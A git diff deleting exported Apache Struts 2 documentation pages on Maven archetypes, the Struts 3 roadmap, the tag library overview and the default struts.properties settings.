-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>This page is deprecated and replaced by the <a shape="rect" href="struts-2-maven-archetypes.html">Struts 2 Maven Archetypes</a> page.</p>
-
-<p>It is being kept (for now) for release note links.</p></div></div>
-
-<hr>
-
-<p>Struts provides several Maven Archetypes that create working applications based on a template. </p>
-
-<h2 id="StrutsMavenArchetypes-AvailableArchetypes">Available Archetypes</h2>
-
-<p>The following archetypes are available:</p>
-
-<h3 id="StrutsMavenArchetypes-TheStarterArchetype(struts2-archetype-starter)">The Starter Archetype (struts2-archetype-starter)</h3>
-
-<p>The Starter archetype creates a more featured application using several common technologies used in production applications.</p>
-
-<h4 id="StrutsMavenArchetypes-Features">Features</h4>
-<ul><li>Sitemesh integration</li><li>Action example (both instantiated through Spring and Struts itself)</li><li>Validation example (action and action-alias level)</li><li>Conversion example (global and action level)</li><li>Resource bundle (both global, action and package level)</li></ul>
-
-
-<h3 id="StrutsMavenArchetypes-ThePortletBlankArchetype(struts2-archetype-portlet)">The Portlet Blank Archetype (struts2-archetype-portlet)</h3>
-
-<p>The Portlet blank archetype creates a minimally populated JSR 168 portlet.</p>
-
-<h4 id="StrutsMavenArchetypes-Features.1">Features</h4>
-<ul><li>View, Edit, and Help mode examples</li><li>Simple form for preferences in Edit mode</li><li>Can be deployed as a servlet or portlet application</li><li>Can use Maven Jetty plugin to deploy as a servlet webapp</li></ul>
-
-
-<h3 id="StrutsMavenArchetypes-ThePortletDatabaseArchetype(struts2-archetype-dbportlet)">The Portlet Database Archetype (struts2-archetype-dbportlet)</h3>
-
-<p>The Portlet database archetype creates a simple JSR 168 portlet that displays the contents of a database table.</p>
-
-<h4 id="StrutsMavenArchetypes-Features.2">Features</h4>
-<ul><li>Uses Spring and Hsql to show a real database query</li><li>Builtin caching of query results</li><li>View, Edit, and Help mode examples</li><li>Simple form for preferences in Edit mode</li><li>Can be deployed as a servlet or portlet application</li><li>Can use Maven Jetty plugin to deploy as a servlet webapp</li></ul>
-
-
-<h2 id="StrutsMavenArchetypes-CreatinganApplicationUsinganArchetype">Creating an Application Using an Archetype</h2>
-
-<p>From a working directory for your project, run the following command: </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:create   -DgroupId=tutorial \
-                       -DartifactId=tutorial \
-                       -DarchetypeGroupId=org.apache.struts \
-                       -DarchetypeArtifactId=struts2-archetype-starter \
-                       -DarchetypeVersion=2.0.11.2 
-
-</pre>
-</div></div>
-
-<p>This table describes the parameters used above:</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Name </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>groupId</code> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> The id for the group the application belongs to.  Usually is the root package for applications in your company, e.g. com.mycompany </p></td> [...]
-
-
-<p>The Archetype will create a ready-run Struts project. Just run "mvn install" to build. </p>
-
-<h2 id="StrutsMavenArchetypes-CommandQuickReference">Command Quick Reference</h2>
-
-<ul><li>To build
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn install
-</pre>
-</div></div></li></ul>
-
-
-<ul><li>To create IntelliJ IDEA project files
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn idea:idea
-</pre>
-</div></div></li></ul>
-
-
-<ul><li>To create Eclipse project files
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn eclipse:eclipse
-</pre>
-</div></div></li></ul>
-
-
-<ul><li>To run test cases
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn test
-</pre>
-</div></div></li></ul>
-
-
-<ul><li>To clean up
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn clean
-</pre>
-</div></div></li></ul>
-
-
-<ul><li>To package
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn package
-</pre>
-</div></div></li></ul>
-
-
-<ul><li>To grab necessary JAR files etc.
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn initialize
-</pre>
-</div></div></li></ul>
-
-
-<ul><li>To run it with Jetty
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn jetty:run
-</pre>
-</div></div></li></ul>
-
-
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-next.html b/content/docs/struts-next.html
deleted file mode 100644
index f106edf..0000000
--- a/content/docs/struts-next.html
+++ /dev/null
@@ -1,156 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts Next</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="struts-next.html">Struts Next</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts Next</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832363">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832363">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832363">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832363">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832363">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832363">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h3 id="StrutsNext-/*&lt;![CDATA[*/div.rbtoc1492970343672{padding:0px;}div.rbtoc1492970343672ul{list-style:disc;margin-left:0px;}div.rbtoc1492970343672li{margin-left:0px;padding-left:0px;}/*]]&gt;*/#StrutsNext-Whatshouldbeimproved/changed#StrutsNext-Whatshouldbeimprove"><style type="text/css">/*<![CDATA[*/
-div.rbtoc1492970343672 {padding: 0px;}
-div.rbtoc1492970343672 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1492970343672 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></h3><div class="toc-macro rbtoc1492970343672">
-<ul class="toc-indentation"><li><a shape="rect" href="#StrutsNext-"></a></li></ul>
-<ul><li><a shape="rect" href="#StrutsNext-Whatshouldbeimproved/changed">What should be improved / changed</a></li><li><a shape="rect" href="#StrutsNext-DevelopmentplanofStruts3">Development plan of Struts 3</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#StrutsNext-M1(akaStruts2.5)">M1 (aka Struts 2.5)</a></li><li><a shape="rect" href="#StrutsNext-M2(akaStruts2.6)">M2 (aka Struts 2.6)</a></li><li><a shape="rect" href="#StrutsNext-M3(beta1Struts3)">M3 (beta 1 Struts 3)</a></li><li><a shape="rect" href="#StrutsNext-M4(beta2Struts3)">M4 (beta 2 Struts 3)</a></li></ul>
-</li><li><a shape="rect" href="#StrutsNext-Cleanupwebsite">Cleanup website</a></li><li><a shape="rect" href="#StrutsNext-Undiscussedideas">Undiscussed ideas</a></li></ul>
-</div><h1 id="StrutsNext-Whatshouldbeimproved/changed">What should be improved / changed</h1><p><a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW/fixforversion/12319158">Issues</a> connected with the new version <br clear="none"> <a shape="rect" class="external-link" href="https://builds.apache.org/view/S-Z/view/Struts/job/Struts3/">Build</a> of the latest version</p><ul><li>Use Git instead Svn&#160;<img class="emoticon emoticon-tick" src="https://cwiki [...]
-
-</li><li class="checked" data-inline-task-id="32">Remove deprecated APIs<ol><li>if it cannot be removed, mark to be removed during work on 3.0</li></ol></li><li class="checked" data-inline-task-id="33">Switch to Java 7</li><li class="checked" data-inline-task-id="34">Merge XWork code into Struts Core (without renaming packages)</li><li class="checked" data-inline-task-id="39">Prepare the first beta release</li><li class="checked" data-inline-task-id="36">Mark current logging layer as&#16 [...]
-
-</li><li class="checked" data-inline-task-id="38">Upgrade spring plugins spring version to 4.x&#160;</li><li class="checked" data-inline-task-id="48">Move struts2 blank, jboss-blank and mailreader app to struts2-examples</li><li class="checked" data-inline-task-id="35">Switch to strict DMI by default - allow only defined methods to be accessible via DMI - user can always change that list</li><li class="checked" data-inline-task-id="49">prepare second beta</li><li data-inline-task-id="50" [...]
-
-</li><li class="checked" data-inline-task-id="51">prepare the last beta</li></ul>
-
-<h2 id="StrutsNext-M2(akaStruts2.6)">M2 (aka Struts 2.6)</h2><ol><li><p>Servlets 2.5, JSP 2.1, Java 7</p></li><li><code>struts-api</code>&#160;module</li><li>Drop support for internal logging layer and use Log4j2 only</li></ol><h2 id="StrutsNext-M3(beta1Struts3)">M3 (beta 1 Struts 3)</h2><ol><li>Servlets 3.0, JSP 2.2, Java 8</li><li>Finish merging XWork code base (rename packages)</li><li>Rename Struts 2 packages to org.apache.struts3</li><li>Switch to OGNL 4<ol><li>we must release it fi [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-tags.html b/content/docs/struts-tags.html
deleted file mode 100644
index 0464398..0000000
--- a/content/docs/struts-tags.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14248">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14248">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14248">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14248">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14248">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14248">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework provides a tag library decoupled from the view technology. In this section, we describe each tag in general terms, such as the attributes it supports, what the behaviors are, and so forth. Most tags are supported in all template languages (see <a shape="rect" href="jsp-tags.html">JSP Tags</a>, <a shape="rect" href="velocity-tags.html">Velocity Tags</a>, and <a shape="rect" href="freemarker-tags.html">FreeMarker Tags</a>), but some  [...]
-
-<p>The types of tags can be broken in to two types: generic and UI. Besides function and responsibility, the biggest difference between the two is that the HTML tags support <em>templates</em> and <em>themes</em>. In addition to the general tag reference, we also provide examples for using these generic tags in each of the support languages.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Be sure to read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document to learn how tag attribute syntax works.</p>
-
-<h2 id="StrutsTags-FAQs">FAQs </h2>
-
-<ul><li><a shape="rect" href="why-do-the-form-tags-put-table-tags-around-controls.html">Why do the form tags put table tags around controls</a>?</li><li><a shape="rect" href="how-can-i-put-a-string-literal-in-a-javascript-call-for-instance-in-an-onchange-attribute.html">How can I put a String literal in a Javascript call, for instance in an onChange attribute</a>?</li><li><a shape="rect" href="why-wont-the-if-tag-evaluate-a-one-char-string.html">Why won't the 'if' tag evaluate a one char [...]
-
-
-<h2 id="StrutsTags-Resources">Resources </h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.vitarara.org/cms/struts_2_cookbook/creating_a_ui_component" rel="nofollow">Creating a UI Component in Struts 2</a> (Mark Menard)</li><li><a shape="rect" class="external-link" href="http://www.roseindia.net/struts/struts2/struts-2-tags.shtml" rel="nofollow">Struts 2 Tags</a> (Rose India)</li></ul>
-
-
-
-<h2 id="StrutsTags-Next:">Next: <a shape="rect" href="generic-tags.html">Generic Tags</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/strutsproperties.html b/content/docs/strutsproperties.html
deleted file mode 100644
index af45816..0000000
--- a/content/docs/strutsproperties.html
+++ /dev/null
@@ -1,364 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>struts.properties</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="strutsproperties.html">struts.properties</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">struts.properties</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13853">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13853">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13853">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13853">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13853">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13853">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> All properties can also be set using <a shape="rect" href="constant-configuration.html">Constant Configuration</a> in an XML configuration file.</p>
-
-<p>The framework uses a number of properties that can be changed to fit your needs. To change any of these properties, specify the property key and value in an <code>struts.properties</code> file. The properties file can be locate anywhere on the classpath, but it is typically found under <code>/WEB-INF/classes</code></p>
-
-<p>The list of properties can be found in <code>struts-default.properties</code> (inside <code>struts2.jar</code>).</p>
-<div class="panel" style="border-width: 1px;"><div class="panelHeader" style="border-bottom-width: 1px;"><b>struts-default.properties</b></div><div class="panelContent">
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-### Struts default properties
-###(can be overridden by a struts.properties file in the root of the classpath)
-###
-
-### This can be used to set your default locale and encoding scheme
-# struts.locale=en_US
-struts.i18n.encoding=UTF-8
-
-### if specified, the default object factory can be overridden here
-### Note: short-hand notation is supported in some cases, such as &quot;spring&quot;
-###       Alternatively, you can provide a com.opensymphony.xwork2.ObjectFactory subclass name here
-# struts.objectFactory = spring
-
-### specifies the autoWiring logic when using the SpringObjectFactory.
-### valid values are: name, type, auto, and constructor (name is the default)
-struts.objectFactory.spring.autoWire = name
-
-### indicates to the struts-spring integration if Class instances should be cached
-### this should, until a future Spring release makes it possible, be left as true
-### unless you know exactly what you are doing!
-### valid values are: true, false (true is the default)
-struts.objectFactory.spring.useClassCache = true
-
-### ensures the autowire strategy is always respected.
-### valid values are: true, false (false is the default)
-struts.objectFactory.spring.autoWire.alwaysRespect = false
-
-### By default SpringObjectFactory doesn&#39;t support AOP
-### This flag was added just temporally to check if nothing is broken
-### See https://issues.apache.org/jira/browse/WW-4110
-struts.objectFactory.spring.enableAopSupport = false
-
-### if specified, the default object type determiner can be overridden here
-### Note: short-hand notation is supported in some cases, such as &quot;tiger&quot; or &quot;notiger&quot;
